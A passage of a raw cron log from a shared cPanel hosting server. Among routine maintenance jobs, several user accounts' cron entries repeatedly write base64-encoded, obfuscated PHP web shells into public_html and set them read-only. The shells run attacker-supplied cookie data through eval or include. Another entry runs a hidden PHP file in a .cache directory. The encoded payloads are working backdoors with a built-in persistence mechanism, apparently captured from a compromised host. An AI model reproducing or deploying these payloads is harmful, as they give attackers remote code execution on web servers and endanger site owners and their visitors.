Qyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:55:01 medusa CROND[4972]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:55:01 medusa CROND[4970]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:55:01 medusa CROND[4976]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:55:01 medusa CROND[4979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:55:01 medusa CROND[4983]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:55:01 medusa CROND[4978]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:55:01 medusa CROND[4987]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:55:01 medusa CROND[4988]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:55:01 medusa CROND[4986]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:55:01 medusa CROND[4990]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:55:01 medusa CROND[4994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:55:01 medusa CROND[4997]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:55:01 medusa CROND[4998]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:55:01 medusa CROND[4996]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:56:02 medusa CROND[17196]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:56:02 medusa CROND[17198]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:56:02 medusa CROND[17199]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:56:02 medusa CROND[17200]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:56:02 medusa CROND[17201]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:56:02 medusa CROND[17207]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:56:02 medusa CROND[17206]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:56:02 medusa CROND[17210]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:56:02 medusa CROND[17213]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:56:02 medusa CROND[17214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:56:02 medusa CROND[17215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:56:02 medusa CROND[17216]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:56:02 medusa CROND[17218]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:56:02 medusa CROND[17220]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:57:01 medusa CROND[3519]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:57:02 medusa CROND[3571]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:57:02 medusa CROND[3790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:57:02 medusa CROND[3792]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:57:02 medusa CROND[3794]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
